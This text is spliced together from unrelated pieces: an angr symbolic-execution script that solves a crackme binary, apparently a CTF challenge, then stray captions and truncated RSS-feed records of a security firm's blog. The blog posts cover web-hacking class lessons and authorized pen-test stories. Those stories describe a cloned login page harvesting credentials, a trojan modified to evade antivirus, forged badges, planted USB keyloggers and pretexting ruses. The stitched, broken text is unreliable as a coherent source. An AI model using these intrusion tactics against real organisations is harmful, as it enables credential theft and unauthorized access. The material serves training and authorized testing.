import angr\nimport sys\nimport struct\nfrom itertools import combinations, product\n\nWIN_HASH = \"C03922D0206DC3A33016010D6C66936E953ABAB9000010AE805CE8463CBE9A2D\".decode(\"hex\")\n\n\ndef get_valid_coords():\n var = \"\"\"# #\n# O #\n# x #\n# w #\n# * #\n# ## #### ###### ### #\n## # ## ## ## ## ## #\n## ## ## ## ## ## #\n## ## ## ##### #### #\n## ## ## ## ## ## #\n## # ## ## ## ## ## #\n# ## #### ## ## ### #\n# #\n# #\n# yz #\n# O #\n/ #\n# #\n\"\"\"\n\n valid = []\n invalid = (list(product(range(7,12),[9,10])) +\n list(product([7,8],[17,18])) )\n\n x = 1\n for line in var.splitlines():\n line = line.strip()\n line = line[1:len(line)-1]\n y = 1\n for i in line:\n if i not in [\"O\", \"#\", \"/\"]:\n if (x,y) not in invalid:\n valid.append((x,y))\n y += 1\n x += 1 \n\n return valid\n\ndef do_memset(state):\n addr = 0x417490\n with open(\"matrix.bin\",\"rb\") as f:\n content = f.read()\n for i in content: \n state.memory.store(addr, state.se.BVV(ord(i), 8 * 1))\n addr += 1\n\n start_off = 0x41d450 - addr\n end_off = 0x41e0c8 - addr\n coords = []\n for i in xrange(start_off, end_off+8, 8): \n coords.append(struct.unpack(\"<Q\", content[i:i+8])[0])\n\n return coords\n\ndef do_repmovsd(state):\n # angr does not like rep movsd\n # we do it by hand\n buffer = state.memory.load(state.regs.esi, 8 * 4)\n state.memory.store(state.regs.edi, buffer)\n\ndef do_nothing(state):\n pass\n\ndef get_hash_map(init_addr):\n addr = init_addr\n hash_map = []\n for i in xrange(0, len(WIN_HASH), 2):\n pair = WIN_HASH[i:i+2]\n hash_map.append((addr, ord(pair[1])))\n hash_map.append((addr+1, ord(pair[0])))\n addr += 8 \n\n return hash_map\n\n\ndef main():\n proj = angr.Project('sokohashv2.0.exe', use_sim_procedures=True, load_options={\"auto_load_libs\": False})\n\n # addrs \n main = 0x401013\n to_find = 0x0040123E\n hash_addr = 0x04216C0\n\n # hooks\n func_hooks = [0x0040102C, 0x0401033]\n for addr in func_hooks:\n proj.hook(addr, do_nothing, length=6) \n\n func_hooks = [0x401215, 0x40121E, 0x401239, 0x40123C]\n for addr in func_hooks:\n proj.hook(addr, do_nothing, length=2) \n\n proj.hook(0x0401028, do_repmovsd, length=2)\n proj.hook(0x0401253, do_nothing, length=5) \n proj.hook(0x040103E, do_nothing, length=5) \n proj.hook(0x0401225, do_nothing, length=5) \n proj.hook(0x0401243, do_nothing, length=5) \n\n # initial state\n init = proj.factory.blank_state(addr=main)\n \n coords = do_memset(init)\n coord_dict = {}\n count = 0\n for i in get_valid_coords():\n #print \"%s = %.16x\" % (i, pos[count])\n coord_dict[coords[count]] = i\n count += 1\n\n init.regs.ebp = init.regs.esp + 0x78\n\n # search only for possible coords\n variables = []\n for i in xrange(0, 4):\n var = init.memory.load(init.regs.ebp + 0x8 + (0x8*i), 0x8, endness=proj.arch.memory_endness) \n variables.append(var)\n conds = []\n for p in coords:\n conds.append(p == var)\n init.add_constraints(init.se.Or(*conds))\n\n # each coordinate must be distinct\n for v1,v2 in combinations(variables, 2):\n init.add_constraints(v1 != v2)\n\n buffer = init.memory.load(init.regs.ebp + 0x8, 0x20)\n \n pg = proj.factory.path_group(init, threads=8, save_unconstrained=True)\n pg.explore(find=to_find)\n\n path = pg.found[0]\n\n found = path.state\n\n # Resulting hash must be winning hash\n # Print expected hash and resulting hash for verification\n conds = []\n expected = []\n hash_map = get_hash_map(hash_addr)\n for addr, value in hash_map: \n memory = found.memory.load(addr, 1, endness=proj.arch.memory_endness) \n conds.append((memory == value))\n expected.append((hex(addr), hex(value)))\n print \"Expected is '%s'\\n\\n\" % expected\n\n found.add_constraints(init.se.And(*conds))\n\n result = []\n hash_map = get_hash_map(hash_addr)\n for addr, value in hash_map: \n buf_ptr = found.memory.load(addr, 1)\n possible = found.se.any_int(buf_ptr)\n result.append((hex(addr), \"0x%x\" % possible))\n print \"Result is '%s'\\n\\n\" % result\n\n\n # Print solutions\n possible = found.se.any_n_int(buffer, 1)\n for i, f in enumerate(possible):\n out = \"%x\" % f\n if len(out) < (0x20*2):\n continue\n\n names = [\"x\",\"y\",\"z\",\"w\"]\n values = []\n for j in xrange(0, len(out), 16):\n value = out[j:j+16]\n unpk_value = struct.unpack(\"<Q\", value.decode(\"hex\"))[0]\n\n values.append((names[j//16], coord_dict[unpk_value]))\n print \"\\tSolution %d: %s\" % (i, values)\n\n\nif __name__ == '__main__':\n #angr.path_group.l.setLevel('DEBUG')\n main()\n
Studying the thermodynamics of molten washing machines in the free time that SILICA provided me with. |
I'm just a happy corporate laptop. You can't expect me not to connect my corporate drives on strange networks! |
Duke has gotten a lot more hard-core lately - I'm worried he's a Trump supporter. |
We knew you liked templates so we put an expressive templating system into your templates! |
It's also true that auditing PHP apps never goes out of style. Everyone uses PHP apps, just as everyone eats fries, no matter how vegan. |
We've of course cut our sample target code down to show basic concepts but each is pulled from an impactful vulnerability. |
PHP bugs can be deceptively simple at first. |
One hint is that the researcher was wrong is that we include them in our slides. :) |
Patterns are bad for fictional characters and our web cryprographics |
\"I have talked all I can talk, and now it is your turn.\" |
This is not a slide. It's a fully dynamic website to help you understand the attack. |
The Paddington Oracle: \"I see something over there! IT IS BAD CRYPTOGRAPHY IN YOUR SESSION ID!\" |
\nWe've done Immunity's Web Hacking class five times now and each time we learn something different. This blog post is going to incorporate some lessons from both the public Infiltrate 2014 class as well as a private class we did for a client. \n
\n\n\nCreate a minimum and maximum duration for topics -- Web hacking takes place over 3-4 days, with 7 hours per day of instruction. The maximum amount of time we want to spend on any one topic is therefore 7 hours. In my experience 90 minutes is the minimum amount of time it takes to introduce a topic and have students complete a few hands on exercises. As an example, we can introduce XXE and have students exploit a straight forward vulnerability in probably under 90 minutes. But getting the HTTP and FTP out-of-band techniques is a bit more complicated.\n
\n\n\nWhat is the minimum time needed for a topic? -- Some things can't really be meaningfully condensed, in our experience if you want to successfully exploit a padding oracle vulnerability under real world constraints we need 7 hours to get you there (assuming you have no prior experience). Likewise we can give a good introduction to XSS and have you practically exploit (i.e. more than just popping alert(1)) a few bugs in about 2 hours.\n
\n\n\nTopics must be modular -- Prior to the private class we'd basically always covered the same things in our web hacking course. This client wasn't interested in PHP or Open Source Information Gathering (OSIG) so we had to cut those from the course. By keeping each topic isolated we could add and subtract content pretty easily and shuffle the order in which we covered topics. This is to say that no part of XSS should depend on completing the Command Injection topic, intra topic dependencies are ok and unavoidable.\n
\n\n\nIn order to be modular you need a lot of content -- The PHP and OSIG modules combined for around 6-7 hours worth of content, since those weren't being covered we had to dramatically expand the content of each module to make up the difference. We've got around 5-6 hours of XSS content available and now we can fit this topic into any length slot based on customer need.\n
\n\n\nTesting things at scale -- One of the big 'whoops' moments we had for the Infiltrate version of this class was the scoring server breaking. We'd tested it prior to the class but came to find out during the course that the sqlite3 backing DB was not up to this particular task with the number of students we had. So, Miguel had to convert to PostgreSQL during the lunch break. \n
\n\n\nBetter score reporting -- When we started the class in 2012 we had a dedicated war games type portion of the class after we'd covered all the content. In each subsequent class we've cut down on the war games portion in favor of covering more content but kept the scoring, completing in class exercises awarded tokens of a certain value, the student with the highest score at the end would win something (this year, a plaque!). We're going to spend some development time getting better scoring reporting for the instructors so we can track who hasn't completed a particular exercise a bit easier. We will probably do away with the dedicated war games portion in favor of spending more time on certain topics.\n
\n\n\nAfter hours access -- For each iteration of this class we've run into the situation where students want to keep working but the class had ended for the day. Typically we stop teaching at 5:00PM and call a hard stop at 5:30 but many students want to continue working. We've considered hosting copies of the exercises on a private VPN that students can access from their rooms if they wish and we may put some engineering time into that before the next Infiltrate.\n
\n\n\nircd and collaboration -- Esteban had the great idea to host an in class ircd that would allow for greater collaboration if students wanted it. Some people might say \"create a Sharepoint site\" or \"start a wiki\", communicating effectively over IRC is a skill your attackers have so you should learn it too.\n
\n\n\nFit and finish matter -- Aesthetically this class is almost 100% powered by Bootstrap. Use design to make accessing information easier and more pleasing. This goes a long way towards streamlining the class. Especially when students don't have to ask you if an exercise is broken because all you have is a single input field and an unhelpful HTML title.\n
\n\n\nBe more than vulnerable -- Students tend to be more engaged when interacting with applications that serve some purpose outside of just being vulnerable. One of our XSS exercises allows students to make web comics, another is a front end for a network ACL complete with listening service you need to connect to. Sometimes when you have to teach a very specific concept, zeroing in on that functionality is unavoidable. But we try to make the page easy to hold a student's interest and that comes by adding a bit of functionality.\n
"],"link":["http://immunityservices.blogspot.com/2014/07/web-hacking-2014-lessons-learned.html"],"author":["noreply@blogger.com (Unknown)"],"thr:total":["0"],"text_description":"\nWe've done Immunity's Web Hacking class five times now and each time we learn something different. This blog post is going to incorporate some lessons from both the public Infiltrate 2014 class as well as a private class we did for a client. \n\n\n\nCreate a minimum and maximum duration for topics -- Web hacking takes place over 3-4 days, with 7 hours per day of instruction. The maximum amount of time we want to spend on any one topic is therefore 7 hours. In my experience 90 minutes is the minimum amount of time it takes to introduce a topic and have students complete a few hands on exercises. As an example, we can introduce XXE and have students exploit a straight forward vulnerability in probably under 90 minutes. But getting the HTTP and FTP out-of-band techniques is a bit more complicated.\n\n\n\n\n\nWhat is the minimum time needed for a topic? -- Some things can't really be meaningfully condensed, in our experience if you want to successfully exploit a padding oracle vulnerability under real world constraints we need 7 hours to get you there (assuming you have no prior experience). Likewise we can give a good introduction to XSS and have you practically exploit (i.e. more than just popping alert(1)) a few bugs in about 2 hours.\n\n\n\nTopics must be modular -- Prior to the private class we'd basically always covered the same things in our web hacking course. This client wasn't interested in PHP or Open Source Information Gathering (OSIG) so we had to cut those from the course. By keeping each topic isolated we could add and subtract content pretty easily and shuffle the order in which we covered topics. This is to say that no part of XSS should depend on completing the Command Injection topic, intra topic dependencies are ok and unavoidable.\n\n\n\n\n\nIn order to be modular you need a lot of content -- The PHP and OSIG modules combined for around 6-7 hours worth of content, since those weren't being covered we had to dramatically expand the content of each module to make up the difference. We've got around 5-6 hours of XSS content available and now we can fit this topic into any length slot based on customer need.\n\n\n\nTesting things at scale -- One of the big 'whoops' moments we had for the Infiltrate version of this class was the scoring server breaking. We'd tested it prior to the class but came to find out during the course that the sqlite3 backing DB was not up to this particular task with the number of students we had. So, Miguel had to convert to PostgreSQL during the lunch break. \n\n\n\nBetter score reporting -- When we started the class in 2012 we had a dedicated war games type portion of the class after we'd covered all the content. In each subsequent class we've cut down on the war games portion in favor of covering more content but kept the scoring, completing in class exercises awarded tokens of a certain value, the student with the highest score at the end would win something (this year, a plaque!). We're going to spend some development time getting better scoring reporting for the instructors so we can track who hasn't completed a particular exercise a bit easier. We will probably do away with the dedicated war games portion in favor of spending more time on certain topics.\n\n\n\nAfter hours access -- For each iteration of this class we've run into the situation where students want to keep working but the class had ended for the day. Typically we stop teaching at 5:00PM and call a hard stop at 5:30 but many students want to continue working. We've considered hosting copies of the exercises on a private VPN that students can access from their rooms if they wish and we may put some engineering time into that before the next Infiltrate.\n\n\n\nircd and collaboration -- Esteban had the great idea to host an in class ircd that would allow for greater collaboration if students wanted it. Some people might say \"create a Sharepoint site\" or \"start a wiki\", communicating effectively over IRC is a skill your attackers have so you should learn it too.\n\n\n\nFit and finish matter -- Aesthetically this class is almost 100% powered by Bootstrap. Use design to make accessing information easier and more pleasing. This goes a long way towards streamlining the class. Especially when students don't have to ask you if an exercise is broken because all you have is a single input field and an unhelpful HTML title.\n\n\n\nBe more than vulnerable -- Students tend to be more engaged when interacting with applications that serve some purpose outside of just being vulnerable. One of our XSS exercises allows students to make web comics, another is a front end for a network ACL complete with listening service you need to connect to. Sometimes when you have to teach a very specific concept, zeroing in on that functionality is unavoidable. But we try to make the page easy to hold a student's interest and that comes by adding a bit of functionality.\n"},{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-8312345260671558415","$":{"isPermaLink":"false"}}],"pubDate":["Wed, 23 Apr 2014 14:30:00 +0000"],"atom:updated":["2014-04-23T07:30:33.645-07:00"],"title":["\"The Brain Stealer\", Heartbleeding partial keys, etc."],"description":["One thing about bugs like Heartbleed is that they give you random memory contents. And sometimes these memory contents include an entire private key, and sometimes they do not. What can you do with a partial RSA key? Well, often you can solve using an SMT solver for the rest of the key! How cool is that?A simple example exploit from class - VisualSploit, Immunity Debugger and your brain are all the tools you need! |
A much more complex version of VisualSploit - coming up with the building blocks of an exploit can take four hours, but it's an intensely educational four hours! |
\nIn a lot of respects the rewards for web exploits are more immediately accessible than complex memory corruption exploits. Part of the reason is that web applications are designed to be more accessible than the musty insides of a kernel. The amount of knowledge you need to be efficient at web hacking and to really understand it can be daunting, especially if you don't come from a programming or systems engineering type background. We've observed a bit of a disparity in the skill sets of our students for Web Hacking, some come from a web application development background and the basics of the HTTP protocol are well known to them. Other students may not have a firm grasp on that subject matter so we're addressing that with the Web Hacking Language Review.The language review is a one day intensive designed to give you the basic fluency needed to be productive in the Web Hacking class itself. \n
\n\n\nThe very first thing we do is a practical look at the HTTP protocol. You'll be interacting with simple web applications and viewing your traffic through various proxies and Wireshark to get a feeling for what's actually happening, we'll talk about useful information contained in the HTTP response headers and so forth.\n
\n\n\n
\nOur next stop is Linux command line fundamentals. Many people are daunted by the power of the Linux CLI and try to stick with more GUI centered tools and operating systems. It's true that the Linux CLI is extremely powerful and therefore complex but understanding basic usage, file system layout and how to ask the OS for help will provide you with the confidence you need to start using Linux as your primary OS for penetration testing.\n
\n
\nPython is the in house programming language at Immunity, all of our products rely on it and we write it every day. A key part of our educational philosophy is that you need to be able to implement an attack to really understand it. That means being able to write it up and for us (and you) that means Python. We'll be spending time giving you hands on experience setting up PIP the Python package manager and writing simple but effective scripts in Python.\n
\n
\nJavaScript is everywhere and thanks to projects like Node.js is now doing everything. Having a firm understanding of JavaScript is essential for assessing Web 2.0 applications, Node.js applications and making your XSS do more than just shout alert('XSS!!!'); We'll be covering some of the language fundamentals and giving you some directed experience in writing JavaScript.\n
\n
\nMySQL you can't really understand SQL Injection unless you understand SQL and MySQL is one of the most popular relational databases in use today. Virtually any PHP application will have a MySQL option for data store purposes and many applications depend on some type of SQL database (Microsoft SQL, PostgreSQL, Oracle, etc). During this class period we will provide you with a SQL database and help you extract data from it to understand what types of SQL queries you'll likely come into contact with in the wild.\n
\nThis class review gives you the background you need to get the most out of our Web Hacking course. If you're not confident in any one of the above sections I would encourage you to come to the course and take the refresher because during the proper Web Hacking course we won't be covering these fundamentals.\n
\n\n\nFor more information contact sales@immunityinc.com and get a quote for the language review!\n
"],"link":["http://immunityservices.blogspot.com/2014/03/web-hacking-language-review.html"],"author":["noreply@blogger.com (Unknown)"],"thr:total":["0"],"text_description":"\nIn a lot of respects the rewards for web exploits are more immediately accessible than complex memory corruption exploits. Part of the reason is that web applications are designed to be more accessible than the musty insides of a kernel. The amount of knowledge you need to be efficient at web hacking and to really understand it can be daunting, especially if you don't come from a programming or systems engineering type background. We've observed a bit of a disparity in the skill sets of our students for Web Hacking, some come from a web application development background and the basics of the HTTP protocol are well known to them. Other students may not have a firm grasp on that subject matter so we're addressing that with the Web Hacking Language Review.The language review is a one day intensive designed to give you the basic fluency needed to be productive in the Web Hacking class itself. \n\n\n\nThe very first thing we do is a practical look at the HTTP protocol. You'll be interacting with simple web applications and viewing your traffic through various proxies and Wireshark to get a feeling for what's actually happening, we'll talk about useful information contained in the HTTP response headers and so forth.\n\n\n\n\nOur next stop is Linux command line fundamentals. Many people are daunted by the power of the Linux CLI and try to stick with more GUI centered tools and operating systems. It's true that the Linux CLI is extremely powerful and therefore complex but understanding basic usage, file system layout and how to ask the OS for help will provide you with the confidence you need to start using Linux as your primary OS for penetration testing.\n\n\n\n\nPython is the in house programming language at Immunity, all of our products rely on it and we write it every day. A key part of our educational philosophy is that you need to be able to implement an attack to really understand it. That means being able to write it up and for us (and you) that means Python. We'll be spending time giving you hands on experience setting up PIP the Python package manager and writing simple but effective scripts in Python.\n\n\n\n\nJavaScript is everywhere and thanks to projects like Node.js is now doing everything. Having a firm understanding of JavaScript is essential for assessing Web 2.0 applications, Node.js applications and making your XSS do more than just shout alert('XSS!!!'); We'll be covering some of the language fundamentals and giving you some directed experience in writing JavaScript.\n\n\n\n\nMySQL you can't really understand SQL Injection unless you understand SQL and MySQL is one of the most popular relational databases in use today. Virtually any PHP application will have a MySQL option for data store purposes and many applications depend on some type of SQL database (Microsoft SQL, PostgreSQL, Oracle, etc). During this class period we will provide you with a SQL database and help you extract data from it to understand what types of SQL queries you'll likely come into contact with in the wild.\n\n\n\nThis class review gives you the background you need to get the most out of our Web Hacking course. If you're not confident in any one of the above sections I would encourage you to come to the course and take the refresher because during the proper Web Hacking course we won't be covering these fundamentals.\n\n\n\nFor more information contact sales@immunityinc.com and get a quote for the language review!\n"},{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-1127247159202792575","$":{"isPermaLink":"false"}}],"pubDate":["Fri, 10 Jan 2014 20:51:00 +0000"],"atom:updated":["2014-01-10T13:16:29.526-08:00"],"title":["Real World CANVAS"],"description":["\nOne of the things I really like about CANVAS is its adaptability. Often when we do a penetration test or application assessment for a customer we'll come up with an attack that isn't a straight forward “run this module, receive root” type of attack. That's where CANVAS' adaptability comes into play for us. \n
\n\n\nDuring the heady days of summer 2013 my trusty colleague @markwuergler and I were dispatched to the west coast on an extended consulting engagement. We undertook a Phishing attack from the position of an attacker with access to the internal network (come see more details about this at my PyCon lightning talk). We cloned their internal web based email login page but modified it such that when users posted their credentials it was logged by us, the users were then redirected to the legitimate page and presented with a password error. The logging gave us a key set of information: their internal IP, username and password. \n
\n\n\nMark cooked up some magic with Python WMI where we reflected the credentials back at the originating IP, created a new share, uploaded a custom HTTP SSL Trojan to the host and executed it. This didn't give us a 100% success rate as not all users had sufficient permissions to use our upload and execute method but we still came up with a high percentage of compromised hosts.\n
\n\n\n\n\nSince we were going to have CANVAS code running on the remote hosts, we tweaked CANVAS's startup.py script which is run on every new node that connects to CANVAS. For this particular engagement all we did was check our privileges and take a screenshot of the compromised host for reporting purposes. However CANVAS allows us to make automated decisions about our privileges, choose to escalate if needed and then dump password hashes or start monitoring the host's network traffic. In our situation, because the folks checking their mail could be doing so from computers where downtime or lost data would be catastrophic, we had to limit ourselves to something safe. So extensive post exploitation actions including memory corruption based privilege escalation were out.\n
\n\n\nA lot of work went into this particular attack and CANVAS saved us a lot of trouble. Once we came up with the plan only about 1 day of prep was needed, if we had to implement all that CANVAS helped us automate it would've taken weeks.\n
\n\n\nThis raises the question, if an attacker is in a position to carry out these types of shenanigans on your internal network how do you defend against it? Mark and I had already modified the Trojan to bypass detection by the anti-virus installed on the network, so AV would be of minimal help. One of the limitations of this attack was that we had to touch disk to infect the hosts. A defender can take advantage of this using another Immunity free product, El Jefe, which watches process execution across an entire enterprise. With a little bit of Python elbow grease you can code up an alert which would let you know when a new binary is executed on more than a set number of internal hosts within a certain time period.\n
\n\n\n\n\nAs I've participated in consulting with Immunity over the past 5 years one of the questions I've learned to ask myself when writing reports is, what will the client do with this vulnerability information? This attack wasn't that surprising, an attacker with access to an enormous internal network has the ability to run some frightening attacks. What the client does with this is not apply a patch or modify an ACL but it is to start looking at data they hadn't considered before and then figuring out what else that data can tell them about how their enterprise REALLY works. Pen-testing is fundamentally about telling your client something they didn't already know and in this instance I think we did exactly that.\n
"],"link":["http://immunityservices.blogspot.com/2014/01/real-world-canvas.html"],"author":["noreply@blogger.com (Unknown)"],"thr:total":["0"],"text_description":"\nOne of the things I really like about CANVAS is its adaptability. Often when we do a penetration test or application assessment for a customer we'll come up with an attack that isn't a straight forward “run this module, receive root” type of attack. That's where CANVAS' adaptability comes into play for us. \n\n\n\nDuring the heady days of summer 2013 my trusty colleague @markwuergler and I were dispatched to the west coast on an extended consulting engagement. We undertook a Phishing attack from the position of an attacker with access to the internal network (come see more details about this at my PyCon lightning talk). We cloned their internal web based email login page but modified it such that when users posted their credentials it was logged by us, the users were then redirected to the legitimate page and presented with a password error. The logging gave us a key set of information: their internal IP, username and password. \n\n\n\nMark cooked up some magic with Python WMI where we reflected the credentials back at the originating IP, created a new share, uploaded a custom HTTP SSL Trojan to the host and executed it. This didn't give us a 100% success rate as not all users had sufficient permissions to use our upload and execute method but we still came up with a high percentage of compromised hosts.\n\n\n\n\n\nSince we were going to have CANVAS code running on the remote hosts, we tweaked CANVAS's startup.py script which is run on every new node that connects to CANVAS. For this particular engagement all we did was check our privileges and take a screenshot of the compromised host for reporting purposes. However CANVAS allows us to make automated decisions about our privileges, choose to escalate if needed and then dump password hashes or start monitoring the host's network traffic. In our situation, because the folks checking their mail could be doing so from computers where downtime or lost data would be catastrophic, we had to limit ourselves to something safe. So extensive post exploitation actions including memory corruption based privilege escalation were out.\n\n\n\nA lot of work went into this particular attack and CANVAS saved us a lot of trouble. Once we came up with the plan only about 1 day of prep was needed, if we had to implement all that CANVAS helped us automate it would've taken weeks.\n\n\n\nThis raises the question, if an attacker is in a position to carry out these types of shenanigans on your internal network how do you defend against it? Mark and I had already modified the Trojan to bypass detection by the anti-virus installed on the network, so AV would be of minimal help. One of the limitations of this attack was that we had to touch disk to infect the hosts. A defender can take advantage of this using another Immunity free product, El Jefe, which watches process execution across an entire enterprise. With a little bit of Python elbow grease you can code up an alert which would let you know when a new binary is executed on more than a set number of internal hosts within a certain time period.\n\n\n\n\n\nAs I've participated in consulting with Immunity over the past 5 years one of the questions I've learned to ask myself when writing reports is, what will the client do with this vulnerability information? This attack wasn't that surprising, an attacker with access to an enormous internal network has the ability to run some frightening attacks. What the client does with this is not apply a patch or modify an ACL but it is to start looking at data they hadn't considered before and then figuring out what else that data can tell them about how their enterprise REALLY works. Pen-testing is fundamentally about telling your client something they didn't already know and in this instance I think we did exactly that.\n"},{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-1640225208000465627","$":{"isPermaLink":"false"}}],"pubDate":["Wed, 17 Jul 2013 16:53:00 +0000"],"atom:updated":["2013-07-17T09:53:23.043-07:00"],"title":["Tales from consulting, part I"],"description":["Mark and I just returned from a long consulting engagement, at 3 weeks on site it was one of the longer (if not the longest) trips I've taken for Immunity. I'd like to share a few things that worked, didn't work and that I would change. There will probably be a number of these posts in the future from both Mark and I.\n\n\n2) Badges? Our client was using badges which required mutual authentication and would have been difficult to clone with the equipment we had on hand. So we took some high resolution pictures of legitimate badges, used some photoshop wizardry (courtesy of Mark), printed it out on sticker paper and created a new \"badge\". Any time I had to get into some place I shouldn't have been simply asking someone near by to buzz me in because my badge was \"bent\" worked like a charm. If you do these kind of gigs regularly investing in a card printer may be worth your while if you expect a high level of scrutiny.\n\n
\n3) Physical keyloggers are ridiculously effective. I'd used USB keyloggers before but they always surprise me with just how useful they are. We planted ours in conference rooms and general computing facilities and wound up with almost 40 sets of credentials over a two week period from just 4 devices. A tool like the Power Pwn would've been very nice to have as well.\n\n
\n4) A quick and silent way to take photos. I learned that the camera clicking noise my phone makes can not be silenced. Dave suggested some sort of slim video recording device we could attach to ourselves but I wasn't impressed with the resolution of the devices I looked at. A small, high resolution, quick shooting camera would be ideal.\n\n
\n5) Have a story for why you're there. One ruse I used was that one of my coworkers from the IT department had misplaced a piece of equipment in this general area over the previous week. I would ask the secretary or anyone close to the entrance if I could poke around to see if I could spot it. This got me anywhere I wanted to go, including locked conference rooms. The pretense of repairing conference room keyboards (and showing my keyboard prop) also got me out of a number of surprise visits from people coming in to use the room.\n\n
\n6) Don't over think it. Unless you're getting into a datacenter or an IBM campus to most people technology is magic and you can use that to your advantage. I had a trojan I carried around on a USB key that I would pop into open workstations. We debated on what I should say if I was challenged. \"I'm here to inventory this system for IT\" was simple but the question was raised amongst ourselves: \"are you doing an inventory of hardware or software and if you're an admin you could just do this over the network...\" Most people don't care about these details, inventory is a thing that IT does, you look like a nerd, therefore your story probably checks out.\n\n
\nb) Know the schedule for the area you're getting into. If it's a conference room, when do you need to be there? Work area, when is shift change? Be familiar with the names of the areas around you, what department is on a nearby floor, who is the admin in charge of scheduling this room, etc.\n\n
\nc) When getting a USB keylogger be mindful of the form factor, some PCs have tight USB clusters and if your keylogger is fat enough it may block other ports that you need. Having a short F->M USB cable handy is good for quick fixes.\n\n
\nd) Practice, practice, practice with your picks and your shims. Beating a lock on your bench in an air conditioned room is easy. Beating the same lock in a dark room where you shouldn't be with no AC and under time pressure is hard. On this gig I got 0 locks and 1 shim, ultimately I found other ways to solve my problem but I clearly need practice.\n\n
\n1) We write a ton of custom software for our classes and that investment is seen in higher rate of students actually learning the content. Case in point, Matias wrote an amazing web application for our web crypto class explaining how ECB, CBC and Padding Oracle worked (here's a look). They key seemed to be that the students could tinker around and add different values to see what effects were had on the algorithm. Students walked out of our class understanding the crypto concepts better than any other time we've taught this content.\n
\n\n\n2) Putting in the extra effort to make your applications look good is worth it. We decided to teach command injection (CMDi) as a proper module this year rather than just including it in our reference material so I had to write up new slides and new exercises. I was pretty happy with how it turned out. The student response to this exercise vs. one of the XSS exercises was pretty evident. My initial thought with XSS was that by keeping things as very simple HTML we could focus on the vulnerability but instead it detracted from the quality of the experience. That's going to get fixed.\n
\n\n\n3) Students in our classes are happiest with their fingers on keyboards. The first two modules we teach are open source information gathering (OSIG) and versioning. In OSIG we spend a lot of time talking about methods to find vhosts, Google dorks, and other methods to find out information about the sites being assessed. Versioning is exclusively about determining the version of installed CMS's and webservers. We taught these in a more lecture heavy style and it was our #1 complaint amongst students. I think the information is important and spot on but we need to re-do how we teach it.\n
\n\n\n4) Consider having a separate day to go over introductory material. Because we get students from all different ability levels we cover some basic information: how HTTP traffic works, intro to the Linux CLI, intro to Python, intro to JavaScript, intro to SQL (mostly MySQL). A number of students commented on how they thought this slowed down the pace of the class too much. We had explored the idea of having an optional day at the beginning where students who were unfamiliar or uncertain about this information could have a day of focused instruction. Ultimately we didn't do it but it is an idea we'll have to revisit.\n
\n\n\n5) Test your exercises in the environment you're presenting them in! I made the mistake of testing from a development laptop rather than from a student's laptop and the minor differences became embarrassing. Also make sure to fully test each of your exercises and their solutions, just because something worked last time doesn't mean it will work this time in this environment. Since we did a scoring system our new rule is that before the class we will beat each exercise and challenge until our demo student receives a perfect score.\n
\n\n\n6) Students tend to appreciate the little things. Our classes are typically catered, at Infiltrate we did breakfast, lunch and an afternoon snack. Asking the students how the food was and if there was any dietary restrictions we should meet went a long way, I had a few students go out of their way to thank us for doing this.\n
\n\n\n7) Lastly is general collection\n
\n | \n
| \n
\nMany thanks to the following hombres/hombrettes (alpha order): Alfred, Carissa, Dave, Linda, Ray, Vanessa and the conference staff at the Fontainebleau\n
"],"link":["http://immunityservices.blogspot.com/2013/04/what-we-learned-from-teaching-web.html"],"author":["noreply@blogger.com (Unknown)"],"thr:total":["0"],"text_description":"So this year myself (@alexm_py), Miguel, Matias (@gunler) and a guest appearance by Nico (@nicowaisman) were the teachers for the Web Hacking class at Infiltrate. This is our third time teaching the course and we learned a lot along the way, I've tried to only focus on things that are applicable outside our organization.\n\n\n1) We write a ton of custom software for our classes and that investment is seen in higher rate of students actually learning the content. Case in point, Matias wrote an amazing web application for our web crypto class explaining how ECB, CBC and Padding Oracle worked (here's a look). They key seemed to be that the students could tinker around and add different values to see what effects were had on the algorithm. Students walked out of our class understanding the crypto concepts better than any other time we've taught this content.\n\n\n\n2) Putting in the extra effort to make your applications look good is worth it. We decided to teach command injection (CMDi) as a proper module this year rather than just including it in our reference material so I had to write up new slides and new exercises. I was pretty happy with how it turned out. The student response to this exercise vs. one of the XSS exercises was pretty evident. My initial thought with XSS was that by keeping things as very simple HTML we could focus on the vulnerability but instead it detracted from the quality of the experience. That's going to get fixed.\n\n\n\n3) Students in our classes are happiest with their fingers on keyboards. The first two modules we teach are open source information gathering (OSIG) and versioning. In OSIG we spend a lot of time talking about methods to find vhosts, Google dorks, and other methods to find out information about the sites being assessed. Versioning is exclusively about determining the version of installed CMS's and webservers. We taught these in a more lecture heavy style and it was our #1 complaint amongst students. I think the information is important and spot on but we need to re-do how we teach it.\n\n\n\n4) Consider having a separate day to go over introductory material. Because we get students from all different ability levels we cover some basic information: how HTTP traffic works, intro to the Linux CLI, intro to Python, intro to JavaScript, intro to SQL (mostly MySQL). A number of students commented on how they thought this slowed down the pace of the class too much. We had explored the idea of having an optional day at the beginning where students who were unfamiliar or uncertain about this information could have a day of focused instruction. Ultimately we didn't do it but it is an idea we'll have to revisit.\n\n\n\n5) Test your exercises in the environment you're presenting them in! I made the mistake of testing from a development laptop rather than from a student's laptop and the minor differences became embarrassing. Also make sure to fully test each of your exercises and their solutions, just because something worked last time doesn't mean it will work this time in this environment. Since we did a scoring system our new rule is that before the class we will beat each exercise and challenge until our demo student receives a perfect score.\n\n\n\n6) Students tend to appreciate the little things. Our classes are typically catered, at Infiltrate we did breakfast, lunch and an afternoon snack. Asking the students how the food was and if there was any dietary restrictions we should meet went a long way, I had a few students go out of their way to thank us for doing this.\n\n\n\n7) Lastly is general collection\n\n\n \n \n\n Things will go wrong with your connection to the hotel network, have someone from your team who's main responsibility is to get the class network and the hotel network talking (if applicable)\n If you're moving a lot of gear invest in hand trucks that turn into carts (example) and other items to secure your gear to the cart like sturdy cases and straps\n Always keep a minor first aid kit handy, I sliced my finger open while moving our overloaded and improperly secured hand truck :(\n Consult with the hotel and determine the best place to load in your gear rather than just showing up at the entrance\n Ask the hotel if they can print 8x11 signage or if you can do it yourself, some hotels are really picky about this\n And above all else keep your cool. Putting classes together is hard, teaching classes is hard, don't make it more difficult by blowing your top\n\n\n\n\n\n\n\nMany thanks to the following hombres/hombrettes (alpha order): Alfred, Carissa, Dave, Linda, Ray, Vanessa and the conference staff at the Fontainebleau\n"},{"guid":[{"_":"tag:blogger.com,1999:blog-8402568535443417820.post-5220561940702727242","$":{"isPermaLink":"false"}}],"pubDate":["Wed, 03 Apr 2013 